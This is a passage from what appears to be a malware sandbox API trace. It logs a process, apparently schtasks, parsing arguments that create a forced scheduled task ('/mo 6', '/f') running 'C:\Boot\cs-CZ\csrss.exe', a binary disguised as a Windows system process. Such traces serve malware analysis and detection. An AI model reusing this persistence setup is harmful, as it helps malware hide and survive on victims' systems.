_ArgList=0x11c868 | out: _Buffer="|p|") returned 3 [0067.866] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.866] lstrlenW (lpString="|p|") returned 3 [0067.866] lstrlenW (lpString="|mo|") returned 4 [0067.866] SetLastError (dwErrCode=0x490) [0067.866] lstrlenW (lpString="ru") returned 2 [0067.866] lstrlenW (lpString="ru") returned 2 [0067.866] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.866] lstrlenW (lpString="mo") returned 2 [0067.866] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.866] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|ru|") returned 4 [0067.866] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.866] lstrlenW (lpString="|ru|") returned 4 [0067.866] lstrlenW (lpString="|mo|") returned 4 [0067.866] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0067.866] SetLastError (dwErrCode=0x490) [0067.866] lstrlenW (lpString="rp") returned 2 [0067.866] lstrlenW (lpString="rp") returned 2 [0067.866] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.867] lstrlenW (lpString="mo") returned 2 [0067.867] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.867] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|rp|") returned 4 [0067.867] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.867] lstrlenW (lpString="|rp|") returned 4 [0067.867] lstrlenW (lpString="|mo|") returned 4 [0067.867] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0067.867] SetLastError (dwErrCode=0x490) [0067.867] lstrlenW (lpString="sc") returned 2 [0067.867] lstrlenW (lpString="sc") returned 2 [0067.867] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.867] lstrlenW (lpString="mo") returned 2 [0067.867] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.867] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.867] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.867] lstrlenW (lpString="|sc|") returned 4 [0067.867] lstrlenW (lpString="|mo|") returned 4 [0067.867] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0067.867] SetLastError (dwErrCode=0x490) [0067.867] lstrlenW (lpString="mo") returned 2 [0067.867] lstrlenW (lpString="mo") returned 2 [0067.867] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.867] lstrlenW (lpString="mo") returned 2 [0067.867] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.867] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.867] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.867] lstrlenW (lpString="|mo|") returned 4 [0067.867] lstrlenW (lpString="|mo|") returned 4 [0067.867] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0067.868] SetLastError (dwErrCode=0x0) [0067.868] SetLastError (dwErrCode=0x0) [0067.868] lstrlenW (lpString="6") returned 1 [0067.868] SetLastError (dwErrCode=0x490) [0067.868] SetLastError (dwErrCode=0x0) [0067.868] lstrlenW (lpString="6") returned 1 [0067.868] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0067.868] SetLastError (dwErrCode=0x490) [0067.868] SetLastError (dwErrCode=0x0) [0067.868] _memicmp (_Buf1=0x23d640, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.868] lstrlenW (lpString="6") returned 1 [0067.868] lstrlenW (lpString="6") returned 1 [0067.868] lstrlenW (lpString=" \x09") returned 2 [0067.868] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0067.868] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0067.868] GetLastError () returned 0x0 [0067.868] lstrlenW (lpString="6") returned 1 [0067.868] lstrlenW (lpString="6") returned 1 [0067.868] GetProcessHeap () returned 0x220000 [0067.868] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x4) returned 0x237f40 [0067.868] SetLastError (dwErrCode=0x0) [0067.868] SetLastError (dwErrCode=0x0) [0067.868] lstrlenW (lpString="/tr") returned 3 [0067.868] lstrlenW (lpString="-/") returned 2 [0067.868] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.868] lstrlenW (lpString="create") returned 6 [0067.868] lstrlenW (lpString="create") returned 6 [0067.868] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.868] lstrlenW (lpString="tr") returned 2 [0067.868] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.868] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|create|") returned 8 [0067.869] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.869] lstrlenW (lpString="|create|") returned 8 [0067.869] lstrlenW (lpString="|tr|") returned 4 [0067.869] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0067.869] SetLastError (dwErrCode=0x490) [0067.869] lstrlenW (lpString="?") returned 1 [0067.869] lstrlenW (lpString="?") returned 1 [0067.869] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.869] lstrlenW (lpString="tr") returned 2 [0067.869] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.869] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|?|") returned 3 [0067.869] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.869] lstrlenW (lpString="|?|") returned 3 [0067.869] lstrlenW (lpString="|tr|") returned 4 [0067.869] SetLastError (dwErrCode=0x490) [0067.869] lstrlenW (lpString="s") returned 1 [0067.869] lstrlenW (lpString="s") returned 1 [0067.869] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.869] lstrlenW (lpString="tr") returned 2 [0067.869] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.869] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|s|") returned 3 [0067.869] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.869] lstrlenW (lpString="|s|") returned 3 [0067.869] lstrlenW (lpString="|tr|") returned 4 [0067.869] SetLastError (dwErrCode=0x490) [0067.869] lstrlenW (lpString="u") returned 1 [0067.869] lstrlenW (lpString="u") returned 1 [0067.869] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.869] lstrlenW (lpString="tr") returned 2 [0067.870] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.870] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|u|") returned 3 [0067.870] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.870] lstrlenW (lpString="|u|") returned 3 [0067.870] lstrlenW (lpString="|tr|") returned 4 [0067.870] SetLastError (dwErrCode=0x490) [0067.870] lstrlenW (lpString="p") returned 1 [0067.870] lstrlenW (lpString="p") returned 1 [0067.870] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.870] lstrlenW (lpString="tr") returned 2 [0067.870] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.870] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|p|") returned 3 [0067.870] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.870] lstrlenW (lpString="|p|") returned 3 [0067.870] lstrlenW (lpString="|tr|") returned 4 [0067.870] SetLastError (dwErrCode=0x490) [0067.870] lstrlenW (lpString="ru") returned 2 [0067.870] lstrlenW (lpString="ru") returned 2 [0067.870] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.870] lstrlenW (lpString="tr") returned 2 [0067.870] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.870] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|ru|") returned 4 [0067.870] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.870] lstrlenW (lpString="|ru|") returned 4 [0067.870] lstrlenW (lpString="|tr|") returned 4 [0067.870] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0067.870] SetLastError (dwErrCode=0x490) [0067.870] lstrlenW (lpString="rp") returned 2 [0067.870] lstrlenW (lpString="rp") returned 2 [0067.871] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.871] lstrlenW (lpString="tr") returned 2 [0067.871] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.871] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|rp|") returned 4 [0067.871] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.871] lstrlenW (lpString="|rp|") returned 4 [0067.871] lstrlenW (lpString="|tr|") returned 4 [0067.871] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0067.871] SetLastError (dwErrCode=0x490) [0067.871] lstrlenW (lpString="sc") returned 2 [0067.871] lstrlenW (lpString="sc") returned 2 [0067.871] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.871] lstrlenW (lpString="tr") returned 2 [0067.871] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.871] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.871] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.871] lstrlenW (lpString="|sc|") returned 4 [0067.871] lstrlenW (lpString="|tr|") returned 4 [0067.871] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0067.871] SetLastError (dwErrCode=0x490) [0067.871] lstrlenW (lpString="mo") returned 2 [0067.871] lstrlenW (lpString="mo") returned 2 [0067.871] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.871] lstrlenW (lpString="tr") returned 2 [0067.871] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.871] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.871] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.871] lstrlenW (lpString="|mo|") returned 4 [0067.871] lstrlenW (lpString="|tr|") returned 4 [0067.872] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0067.872] SetLastError (dwErrCode=0x490) [0067.872] lstrlenW (lpString="d") returned 1 [0067.872] lstrlenW (lpString="d") returned 1 [0067.872] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.872] lstrlenW (lpString="tr") returned 2 [0067.872] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.872] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|d|") returned 3 [0067.872] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.872] lstrlenW (lpString="|d|") returned 3 [0067.872] lstrlenW (lpString="|tr|") returned 4 [0067.872] SetLastError (dwErrCode=0x490) [0067.872] lstrlenW (lpString="m") returned 1 [0067.872] lstrlenW (lpString="m") returned 1 [0067.872] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.872] lstrlenW (lpString="tr") returned 2 [0067.872] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.872] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|m|") returned 3 [0067.872] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.872] lstrlenW (lpString="|m|") returned 3 [0067.872] lstrlenW (lpString="|tr|") returned 4 [0067.872] SetLastError (dwErrCode=0x490) [0067.872] lstrlenW (lpString="i") returned 1 [0067.872] lstrlenW (lpString="i") returned 1 [0067.872] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.872] lstrlenW (lpString="tr") returned 2 [0067.872] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.872] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|i|") returned 3 [0067.873] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.873] lstrlenW (lpString="|i|") returned 3 [0067.873] lstrlenW (lpString="|tr|") returned 4 [0067.873] SetLastError (dwErrCode=0x490) [0067.873] lstrlenW (lpString="tn") returned 2 [0067.873] lstrlenW (lpString="tn") returned 2 [0067.873] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.873] lstrlenW (lpString="tr") returned 2 [0067.873] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.873] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.873] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.873] lstrlenW (lpString="|tn|") returned 4 [0067.873] lstrlenW (lpString="|tr|") returned 4 [0067.873] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0067.873] SetLastError (dwErrCode=0x490) [0067.873] lstrlenW (lpString="tr") returned 2 [0067.873] lstrlenW (lpString="tr") returned 2 [0067.873] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.873] lstrlenW (lpString="tr") returned 2 [0067.873] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.873] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.873] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.873] lstrlenW (lpString="|tr|") returned 4 [0067.873] lstrlenW (lpString="|tr|") returned 4 [0067.873] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0067.873] SetLastError (dwErrCode=0x0) [0067.873] SetLastError (dwErrCode=0x0) [0067.873] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.873] lstrlenW (lpString="-/") returned 2 [0067.873] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0067.873] SetLastError (dwErrCode=0x490) [0067.874] SetLastError (dwErrCode=0x490) [0067.874] SetLastError (dwErrCode=0x0) [0067.874] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.874] StrChrIW (lpStart="'C:\\Boot\\cs-CZ\\csrss.exe'", wMatch=0x3a) returned=":\\Boot\\cs-CZ\\csrss.exe'" [0067.874] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.874] _memicmp (_Buf1=0x23c410, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.874] _memicmp (_Buf1=0x23d5e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.874] SetLastError (dwErrCode=0x7a) [0067.874] SetLastError (dwErrCode=0x0) [0067.874] SetLastError (dwErrCode=0x0) [0067.874] lstrlenW (lpString="'C") returned 2 [0067.874] lstrlenW (lpString="-/") returned 2 [0067.874] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0067.874] SetLastError (dwErrCode=0x490) [0067.874] SetLastError (dwErrCode=0x490) [0067.874] SetLastError (dwErrCode=0x0) [0067.874] _memicmp (_Buf1=0x23d640, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.874] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.874] GetProcessHeap () returned 0x220000 [0067.874] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d660) returned 1 [0067.874] GetProcessHeap () returned 0x220000 [0067.874] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23d660, Size=0x34) returned 0x237c20 [0067.874] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.874] lstrlenW (lpString=" \x09") returned 2 [0067.874] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0067.874] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0067.874] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0067.874] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0067.874] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.874] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0067.874] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x5a) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.875] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0067.875] GetLastError () returned 0x0 [0067.875] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.875] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.875] SetLastError (dwErrCode=0x0) [0067.875] SetLastError (dwErrCode=0x0) [0067.875] lstrlenW (lpString="/f") returned 2 [0067.875] lstrlenW (lpString="-/") returned 2 [0067.875] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.875] lstrlenW (lpString="create") returned 6 [0067.875] lstrlenW (lpString="create") returned 6 [0067.875] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.875] lstrlenW (lpString="f") returned 1 [0067.875] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.876] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|create|") returned 8 [0067.876] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.876] lstrlenW (lpString="|create|") returned 8 [0067.876] lstrlenW (lpString="|f|") returned 3 [0067.876] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0067.876] SetLastError (dwErrCode=0x490) [0067.876] lstrlenW (lpString="?") returned 1 [0067.876] lstrlenW (lpString="?") returned 1 [0067.876] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.876] lstrlenW (lpString="f") returned 1 [0067.876] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.876] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|?|") returned 3 [0067.876] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.876] lstrlenW (lpString="|?|") returned 3 [0067.876] lstrlenW (lpString="|f|") returned 3 [0067.876] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0067.876] SetLastError (dwErrCode=0x490) [0067.876] lstrlenW (lpString="s") returned 1 [0067.876] lstrlenW (lpString="s") returned 1 [0067.876] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.876] lstrlenW (lpString="f") returned 1 [0067.876] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.876] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|s|") returned 3 [0067.876] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.876] lstrlenW (lpString="|s|") returned 3 [0067.876] lstrlenW (lpString="|f|") returned 3 [0067.876] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0067.876] SetLastError (dwErrCode=0x490) [0067.876] lstrlenW (lpString="u") returned 1 [0067.876] lstrlenW (lpString="u") returned 1 [0067.876] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.877] lstrlenW (lpString="f") returned 1 [0067.877] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.877] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|u|") returned 3 [0067.877] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.877] lstrlenW (lpString="|u|") returned 3 [0067.877] lstrlenW (lpString="|f|") returned 3 [0067.877] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0067.877] SetLastError (dwErrCode=0x490) [0067.877] lstrlenW (lpString="p") returned 1 [0067.877] lstrlenW (lpString="p") returned 1 [0067.877] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.877] lstrlenW (lpString="f") returned 1 [0067.877] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.877] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|p|") returned 3 [0067.877] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.877] lstrlenW (lpString="|p|") returned 3 [0067.877] lstrlenW (lpString="|f|") returned 3 [0067.877] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0067.877] SetLastError (dwErrCode=0x490) [0067.877] lstrlenW (lpString="ru") returned 2 [0067.877] lstrlenW (lpString="ru") returned 2 [0067.877] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.877] lstrlenW (lpString="f") returned 1 [0067.877] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.877] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|ru|") returned 4 [0067.877] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.877] lstrlenW (lpString="|ru|") returned 4 [0067.877] lstrlenW (lpString="|f|") returned 3 [0067.877] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0067.877] SetLastError (dwErrCode=0x490) [0067.878] lstrlenW (lpString="rp") returned 2 [0067.878] lstrlenW (lpString="rp") returned 2 [0067.878] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.878] lstrlenW (lpString="f") returned 1 [0067.878] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.878] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|rp|") returned 4 [0067.878] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.878] lstrlenW (lpString="|rp|") returned 4 [0067.878] lstrlenW (lpString="|f|") returned 3 [0067.878] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0067.878] SetLastError (dwErrCode=0x490) [0067.878] lstrlenW (lpString="sc") returned 2 [0067.878] lstrlenW (lpString="sc") returned 2 [0067.878] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.878] lstrlenW (lpString="f") returned 1 [0067.878] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.878] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sc|") returned 4 [0067.878] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.878] lstrlenW (lpString="|sc|") returned 4 [0067.878] lstrlenW (lpString="|f|") returned 3 [0067.878] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0067.878] SetLastError (dwErrCode=0x490) [0067.878] lstrlenW (lpString="mo") returned 2 [0067.878] lstrlenW (lpString="mo") returned 2 [0067.878] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.878] lstrlenW (lpString="f") returned 1 [0067.878] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.878] _vsnwprintf (in: _Buffer=0x23c320, 